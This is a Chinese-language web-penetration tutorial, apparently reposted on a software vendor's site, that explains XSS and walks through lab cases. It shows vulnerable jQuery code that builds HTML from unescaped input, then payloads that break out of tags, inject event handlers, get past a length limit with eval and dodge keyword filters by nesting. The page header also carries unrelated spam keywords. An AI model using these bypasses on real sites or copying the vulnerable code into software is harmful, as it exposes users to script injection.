狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

[Web滲透】XSS跨域攻擊漏洞挖掘

admin
2023年12月7日 10:49 本文熱度 596

知識儲備

Javascript

Javascript 是屬于 HTML 和 Web 的編程語言。
Javascript 能夠改變 HTML 內容。
案例:
Javascript 能夠改變 HTML 屬性
本例通過改變 <img> 標簽的 src 屬性(source)來改變一張 HTML 圖像:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<body>
<h2>Javascript 能做什么?</h2>
<p>Javascript 能夠改變 HTML 屬性值。</p>
<p>在本例中,Javascript 改變了圖像的 src 屬性值。</p>
<button onclick="document.getElementById('myImage').src='/i/eg_bulbon.gif'">開燈</button>
<img id="myImage" border="0" src="/i/eg_bulboff.gif" style="text-align:center;">
<button onclick="document.getElementById('myImage').src='/i/eg_bulboff.gif'">關燈</button>
</body>
</html>

Javascript HTML DOM

通過 HTML DOM,Javascript 能夠訪問和改變 HTML 文檔的所有元素。
HTML DOM(文檔對象模型)
當網頁被加載時,瀏覽器會創建頁面的文檔對象模型(Document Object Model)。
HTML DOM 模型被結構化為對象樹:
對象的 HTML DOM 樹


通過這個對象模型,Javascript 獲得創建動態 HTML 的所有力量:

  • Javascript 能改變頁面中的所有 HTML 元素

  • Javascript 能改變頁面中的所有 HTML 屬性

  • Javascript 能改變頁面中的所有 CSS 樣式

  • Javascript 能刪除已有的 HTML 元素和屬性

  • Javascript 能添加新的 HTML 元素和屬性

  • Javascript 能對頁面中所有已有的 HTML 事件作出反應

  • Javascript 能在頁面中創建新的 HTML 事件

HTML DOM 是 HTML 的標準對象模型和編程接口,它定義了:

  • 作為對象的 HTML 元素

  • 所有 HTML 元素的屬性

  • 訪問所有 HTML 元素的方法

  • 所有 HTML 元素的事件

換言之:HTML DOM 是關于如何獲取、更改、添加或刪除 HTML 元素的標準。

HTML DOM Event 對象

HTML DOM Document 對象

1
2
每個載入瀏覽器的 HTML 文檔都會成為 Document 對象。
Document 對象使我們可以從腳本中對 HTML 頁面中的所有元素進行訪問。

HTML DOM Element 對象

1
2
3
在 HTML DOM 中,Element 對象表示 HTML 元素。
Element 對象可以擁有類型為元素節點、文本節點、注釋節點的子節點。
NodeList 對象表示節點列表,比如 HTML 元素的子節點集合。

HTML DOM Attribute 對象

1
2
在 HTML DOM 中,Attr 對象表示 HTML 屬性。
HTML 屬性始終屬于 HTML 元素。

HTML DOM Event 對象

1
2
Event 對象代表事件的狀態,比如事件在其中發生的元素、鍵盤按鍵的狀態、鼠標的位置、鼠標按鈕的狀態。
事件通常與函數結合使用,函數不會在事件發生前被執行!

其它前端知識

學無止境

xss漏洞簡介

  • 跨站腳本(Cross-Site scripting,XSS)是一種經常出現在Web應用程序中的計算機安全漏洞,是由于Web應用程序對用戶的輸入過濾不足而產生的。

  • 攻擊者利用網站漏洞把惡意的腳本代碼(通常包括HTML代碼和客戶端Javascript腳本)注入到網頁之中,當其他用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害用戶可能采取Cookie資料竊取、會話劫持、釣魚欺騙等各種攻擊。

  • 由于和另一種網頁技術——層疊樣式表(Cascading Style Sheets,CSS)的縮寫一樣,為了防止混淆,故把原本的CSS簡稱為XSS。通常情況下,我們既可以把跨站腳本理解成一種Web安全漏洞,也可以理解成一種攻擊手段。

  • XSS跨站腳本攻擊本身對Web服務器沒有直接危害,它借助網站進行傳播,使網站的大量用戶受到攻擊。攻擊者一般通過留言、電子郵件或其他途徑向受害者發送一個精心構造的惡意URL,當受害者在Web瀏覽器中打開該URL的時侯,惡意腳本會在受害者的計算機上悄悄執行,其流程如圖所示:

未便于理解進行了分類歸納:

  • 反射型XSS(也叫非持久型XSS)

    1
    發出請求時,XSS代碼出現在URL中,作為輸入提交到服務端,服務端解析后響應,在響應內容中出現這段XSS代碼,最后瀏覽器解析執行。這個過程就像一次反射,故稱為反射型XSS。
  • 存儲型XSS(也叫持久型XSS)

    1
    存儲型XSS和反射型XSS的差別僅在于:提交的XSS代碼會存儲在服務端(不管是數據庫、內存還是文件系統等),下次請求目標頁面時不用再提交XSS代碼。
  • DOM XSS

    1
    DOM XSS的XSS代碼并不需要服務器解析響應的直接參與,觸發XSS靠的就是瀏覽器端的DOM解析,可以認為完全是客戶端的事情。

    常見危害例舉
    掛馬

  • 盜取用戶Cookie

  • DoS(拒絕服務)客戶端瀏覽器

  • 釣魚攻擊,高級釣魚技巧

  • 編寫針對性的XSS病毒

  • 刪除目標文章

  • 惡意篡改數據、嫁禍、“借刀殺人”

  • 劫持用戶Web行為,甚至進一步滲透內網

  • 蠕蟲攻擊

  • 蠕蟲式掛馬攻擊、刷廣告、刷流量、破壞網上數據......

    實戰

    通過案例進行講解

    利用本地存儲功能

    在使用搜索功能時發現信息存在"駐留"現象

  • 打開瀏覽器調試工具分析
    元素


查看js代碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$('.search-ipt').on('input',function () {
        let val=localStorage.getItem('record')||''
        if (val!=''){
            $('.history').css('display','block')
            $('.history').html('<a href="/?search='+val+'">'+val+'</a>')
        }else{
            $('.history').css('display','none')
        }
    })
    $('.search-btn').click(function () {
        let val = $('.search-ipt').val()
        localStorage.setItem('record',val)
        }
    )
發現將數據存儲在localStorage

  • 輸入js語句進行xss測試

    1
    <script>alert("xss測試")</script>

  • 搜索執行查看
    再次搜索成功調用并按js執行了所輸入內容

簡單閉合標簽逃逸

 

發現輸入的數據有駐留但在標簽內

  • 查看js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $('.search-ipt').on('input',function () {
      if ($('.search-ipt').val()==''){
          $('.history').css('display','none')
      }
      else {
          $('.history').css('display','block')
      }
      let val = $('.search-ipt').val()
      $('.history').html('<a href="/?search='+val+'">暫無搜索結果</a>')
    })
    發現取內容放在<a標簽內


  • 輸入測試


  • 輸入特殊字符閉合標簽
    閉合成功,輸入內容以js代碼形式執行


分析:
輸入"> 閉合了標簽<a 并使之后的數據可不在標簽內顯示

添加事件進行逃逸

正常測試,查看元素

  • 查看js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    $('.url-btn').click(function () {
              let val = $('.search-ipt').val()
              if (val == '') {
                  $('.url-box').css('display''none')
              else {
                  val =  val.toLocaleLowerCase().replace(/script/g,'').replace(/</g,'').replace(/>/g,'')
                  $('.url-box').css('display''block')
                  $('.url-box').html('<span style="padding-left: 2px">生成的鏈接為:<a class="url" href="'+val+'">'+val+'</a></span>')
              }
          }
      )
    發現將數據存儲在<a標簽href屬性內


  • 閉合并添加事件


    分析:
    需閉合標簽并逃逸herf屬性

    1
    2
    <a> 標簽的 href 屬性用于指定超鏈接目標的 URL。
    href 屬性的值可以是任何有效文檔的相對或絕對 URL,包括片段標識符和 Javascript 代碼段。如果用戶選擇了 <a> 標簽中的內容,那么瀏覽器會嘗試檢索并顯示 href 屬性指定的 URL 所表示的文檔,或者執行 Javascript 表達式、方法和函數的列表。

    HTML DOM Event 對象

    1
    Event 對象代表事件的狀態,比如事件在其中發生的元素、鍵盤按鍵的狀態、鼠標的位置、鼠標按鈕的狀態。

    事件句柄 (Event Handlers)

    1
    HTML 4.0 的新特性之一是能夠使 HTML 事件觸發瀏覽器中的行為,比如當用戶點擊某個 HTML 元素時啟動一段 Javascript。下面是一個屬性列表,可將之插入 HTML 標簽以定義事件的行為。


    事件通常與函數結合使用,函數不會在事件發生前被執行!
    onmouseover 事件會在鼠標指針移動到指定的對象上時發生

    1
    2
    3
    4
    5
    6
    7
    支持該事件的 HTML 標簽:
    <a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>,
    <caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>,
    <form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>, <legend>,
    <li>, <map>, <ol>, <p>,
    <sub>, <sup>, <table>, <tbody>, <td>, <textarea>, <tfoot>, <th>, <thead>,
    <tr>, <tt>, <ul>, <var>


打破長度

  • 輸入測試

    1
    "><script>alert(1)</script>


    測試發現輸入內容被過濾
    換測試代碼

    1
    " onclick="alert(1)


    未過濾但未成功閉合

  • 查看代碼


    事件沒有完全閉合后面(多了:content)
    *"閉合測試


  • 深入測試

    發現對代碼輸入的長度進行了限制


  • 分析前端代碼

    1
    2
    3
    4
    let query = getParam('query')||''
    if (query){
    query=query.replace(/<|>|script/g,'').substring(033)
    看到使用了query參數,其值為getParam('query')


  • getparam()函數分析

    1
    2
    3
    4
    5
    6
    function getParam(name) {
    if (location.search!=''){
    let param = new URLSearchParams(location.search)
    return decodeURI(param.get(name))
    }
    若鏈接中存在參數,則創建一個對象,值為所有參數,name對應參數名


  • 測試

    1
    "%20onclick="eval(getParam(Test))"&Test=其它代碼

    成功引用。已打破輸入長度限制


拼接繞過

  • 測試

    1
    "" onclonclickick="alert(1)"

    被過濾,發現onclick被過濾成立空字符


  • 拼接

    1
    "" onclonclickick="alert(1)"

    過濾一個在加一個

    測試成功。


該文章在 2023/12/7 10:50:33 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved